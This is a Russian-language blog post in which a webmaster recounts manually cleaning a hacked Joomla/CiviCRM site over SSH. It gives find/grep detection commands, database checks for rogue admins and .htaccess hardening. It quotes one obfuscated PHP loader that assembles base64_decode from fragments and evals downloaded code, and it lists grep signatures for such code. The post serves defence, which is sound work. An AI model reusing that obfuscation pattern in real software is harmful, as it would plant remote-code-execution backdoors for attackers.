Если ты ещё не взломан, это не значит, что ты ещё не взломан: как я спасал Joomla, когда автосканеры полностью обосрались

Запомните эту тавтологию, потому что это главное правило веб-безопасности. Хакеры могут месяцами тихо сидеть в вашей системе, не выдавая себя ни единым логом, пока не наступит "день Х". А когда вы наконец заметите проблему, стандартная автоматика окажется слепа.

Если вы думаете, что для очистки сайта от вирусов достаточно нажать кнопку "Сканировать" в панели хостинга или запустить популярный AIbolit — у меня для вас плохие новости. Сегодня автоматический софт пасует перед умной маскировкой. Вредоносный код прячется под системные файлы так изящно, что выковырять его можно только хирургическим путем — через SSH-терминал.

 В этой статье я делюсь своим свежим "окопным" опытом полной зачистки связки Joomla 3.x + CiviCRM после взлома через старую RCE-уязвимость. Без воды, только живой опыт, логика поиска и готовые команды, которые спасут ваш сайт и ваши нервы.


Точка входа: JCE Editor и иллюзия чистки

Все началось со старой уязвимости в популярном плагине JCE Editor (ветка 2.9.6). Через нее злоумышленники получили удаленный доступ и начали заливать дорвеи.

Первым делом я пошел по стандартному пути:

  1. Вырезал корень проблемы: Полностью деинсталлировал JCE Editor через админку.
  2. Удалил явный мусор: Снес хакерские бэкдоры, которые маскировались под каталоги WordPress (папки вроде /media/com_menus/wp/).
  3. Восстановил корень: Зараженный ./index.php в корне сайта перезаписал чистой копией из бэкапа и закрыл главный конфиг configuration.php правами 444.

Казалось бы, автоматическая генерация мусора прекратилась. На всякий случай я натравил на сайт AIbolit и внутренний антивирус хостинга Beget. Результат? "Угроз не обнаружено, ваш сайт чист".

Но интуиция подсказывала: ручная зачистка папок "wp" убрала лишь следствие. Главный "скрипт-загрузчик" (downloader) остался на сервере под другим именем. И я пошел искать его руками через SSH.


Почему сканеры молчат? Анатомия скрытого бэкдора

Когда я подключился по SSH и начал ковырять файлы, стало понятно, почему автоматика спасовала. Хакеры использовали хитрую обфускацию (запутывание кода).

Вот пример одного из скрытых загрузчиков, который я вытащил на свет:

<?php
$a="ba"; $b="se"; $c="64"; $g="d"; $h="ec"; $i="o"; $j="de";
$k=$a.$b.$c."_".$g.$h.$i.$j;
$q=$k("aHR0cHM6Ly9...[вредоносная_ссылка]...");
eval("?>".$k($hh));
?>

Что здесь происходит:

  • Сканер ищет опасную функцию base64_decode — но в коде её нет! Она склеивается на лету из кусочков переменных.
  • Скрипт не содержит вирусной базы. Он просто обращается к внешнему серверу хакера (или скрытому репозиторию на GitHub), скачивает вредоносный код прямо в память сервера и выполняет его через eval().
  • Для усложнения анализа используется оператор goto — код превращается в "спагетти", ломая алгоритмы автоматических антивирусов.

Пошаговый план ручного спасения сайта через SSH

Если вы подозреваете взлом, забудьте про экранные сканеры. Открывайте терминал, переходите в корень сайта (cd ~/ваш_домен/public_html) и включайте режим детектива.

Шаг 1. Охота в медиа-директориях

В папках картинок, кэша и временных файлов PHP-скриптов быть не должно. Вообще. Никогда. Запускаем жесткий поиск:

find images/ media/ cache/ tmp/ templates/ -type f -name "*.php"

В моем случае команда выдала кучу легитимного кэша Smarty от CiviCRM (это нормально), но среди них ярко подсветился файл:
images/2021/07/LKfvaMQRVb.php

Случайное имя файла из букв разного регистра в папке картинок — это 100% приговор. Уничтожаем его:

rm images/2021/07/LKfvaMQRVb.php

Шаг 2. Выкуривание по сигнатурам (Grep)

Поскольку хакеры умеют прятать файлы глубоко в системное ядро Joomla (например, в /libraries/), ищем маркеры обфускации.

Ищем использование оператора goto (легитимный код Joomla его практически не использует):

grep -rnw . --include="*.php" -e "goto "

Ищем скрытый вызов функций выполнения кода:

grep -rnw . --include="*.php" -e "eval(" -e "base64_decode(" -e "gzinflate("

Как анализировать вывод: В результатах будет много системных файлов (компоненты голосования, платежные шлюзы). Но если среди них вы видите чужака, например: libraries/vendor/joomla/application/src/Cli/Output/Processor/IctrrIMEw.php — это бэкдор. В оригинальной Joomla файла с таким бредовым названием не существует.

Шаг 3. Ловля "клонов" по размеру файла (Секретный финт)

Хакеры ленивы. Они генерируют один и тот же бэкдор и раскидывают его по разным папкам под разными именами.

Когда вы нашли один подтвержденный вирус, посмотрите в файловом менеджере его точный размер в байтах (например, 91195 байт или 35477 байт). И запустите поиск по точной маске размера:

find . -type f -size 91195c
find . -type f -size 35477c

(Буква c на конце обязательна — она указывает искать именно в байтах).

Этот финт помог мне найти еще несколько скрытых бэкдоров, которые запрятались на 5 уровней вглубь папок шаблонов и административных компонентов, куда обычный вебмастер в жизни не заглянет.

Шаг 4. Проверка базы данных на "спящих" админов

Вычистить файлы — половина дела. Хакеры часто создают скрытого Супер-администратора прямо в MySQL, чтобы спокойно зайти через админку позже. Обычно они используют неприметные логины вроде demo или system.

Вытаскиваем доступы из конфига и делаем прямой запрос в базу:

PASS=$(grep "public \$password" configuration.php | cut -d"'" -f2)
mysql -u ЮЗЕР_БД -p"$PASS" ИМЯ_БД -e "SELECT u.id, u.name, u.username, u.email, u.registerDate FROM jos_users u JOIN jos_user_usergroup_map m ON u.id = m.user_id WHERE m.group_id = 8;"

Группа 8 — это высшие права Super User. Внимательно изучите список. Если нашли старый неиспользуемый аккаунт demo с админскими правами — лишайте его прав немедленно:

mysql -u ЮЗЕР_БД -p"$PASS" ИМЯ_БД -e "DELETE FROM rq3nl_user_usergroup_map WHERE user_id = ID_ПОЛЬЗОВАТЕЛЯ;"

Финальный щит: как сделать так, чтобы это не повторилось

После того как повторный поиск по опасным функциям выдал абсолютную чистоту, нужно поставить "железный щит".

Даже если в будущем хакеры найдут уязвимость в другом компоненте, мы запретим серверу запускать PHP-код из папок, предназначенных только для картинок и кэша. Для этого создаем в папках images/, media/ и tmp/ файл .htaccess с кодом:

<Files *.php>
Deny from all
</Files>

Теперь при попытке вызвать любой загрузчик из этих папок сервер выдаст ошибку 403 Forbidden.

Итоговый чек-лист безопасности:

  1. Сменить пароль от базы данных в панели хостинга и перепрописать его в configuration.php.
  2. Сменить пароли всех реальных администраторов сайта.
  3. Обновить саму Joomla и CiviCRM до актуальных версий (взлом старых веток — лишь вопрос времени).

Заключение

Взлом сайта — это огромный стресс, который может полностью пересрать рабочий день. Но ручной аудит через SSH возвращает контроль в ваши руки. Не надейтесь на автоматические сканеры: комбинируйте поиск по дате изменения, точным размерам файлов и опасным PHP-конструкциям. Только так можно выжечь заразу до последнего байта.


Бонус-трек: Почему после зачистки перестали сохраняться статьи? (Ошибка finder_tokens)

Когда все бэкдоры были уничтожены, а база проверена, я решил залить этот кейс в админку Joomla. Нажал кнопку "Сохранить" и тут же поймал по лбу новой ошибкой:

Не удалось сохранить из-за ошибки: Table 'v33387w4_botlab.#__finder_tokens' doesn't exist

Что это за чертовщина и при чем тут взлом?
Хакеры часто намеренно или случайно ломают, забивают мусором или полностью стирают таблицы компонента com_finder («Умный поиск»). Таблица #__finder_tokens хранит поисковые индексы, весит больше всего и при агрессивной работе хакерских скриптов часто "отваливается". Поскольку плагин умного поиска пытается индексировать любой новый материал в момент сохранения, отсутствие таблицы намертво блокирует работу с контентом.

Жизнь меня к этому не готовила, но лечится это дерьмо буквально в два клика прямо из панели Joomla, без ковыряния в phpMyAdmin:

  1. Идем в админку Joomla: Расширения (Extensions) -> Менеджер расширений (Manage) -> База данных (Database).
  2. Система сама подсветит, что структура таблиц базы данных не соответствует версии ядра.
  3. В левом верхнем углу нажимаем волшебную кнопку Исправить (Fix).

Движок за пару секунд пересоздал отсутствующую rq3nl_finder_tokens, синхронизировал индексы, и статья успешно сохранилась с первого раза. Если кнопка "Исправить" не помогает, этот плагин (Умный поиск - Контент) можно временно отключить в Менеджере плагинов, чтобы вернуть сайту способность сохранять материалы.